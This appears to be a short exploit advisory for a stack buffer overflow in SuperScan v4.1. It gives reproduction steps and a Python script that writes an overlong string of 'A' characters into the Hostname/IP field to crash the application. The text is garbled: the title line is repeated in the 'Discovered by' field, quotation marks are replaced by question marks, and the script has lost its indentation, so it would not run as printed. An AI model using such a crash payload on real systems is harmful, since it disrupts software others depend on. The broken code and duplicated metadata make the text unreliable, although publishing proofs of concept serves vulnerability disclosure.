Exploit Title: SuperScan v4.1 - Stack Buffer Overflow (PoC)
Discovered by: Exploit Title: SuperScan v4.1 - Stack Buffer Overflow (PoC)
Discovered by: Ahmet ?mit BAYRAM
Discovered Date: 18.09.2023
Vendor: Foundstone Inc
Software Link: https://delivery2.filecroco.com/kits_6/superscan-4.1.zip
Tested Version: v4.1 (latest)
Tested on: Windows 2019 Server 64bit
Steps to Reproduce

Open the SuperScan application.
Paste the content of poc.txt into the Hostname / IP box.
Click the arrow button next to the box.
The application crashes due to a buffer overflow.

Proof of Concept (PoC)

The following Python script generates a poc.txt file containing the
payload. When loaded into the Hostname / IP field, it triggers a buffer
overflow and crashes the application.

#!/usr/bin/python

poc = ?A? * 636

try:
with open("poc.txt", "w") as file:
file.write(poc)
print("POC is created")
except Exception as e:
print("POC is not created:", e)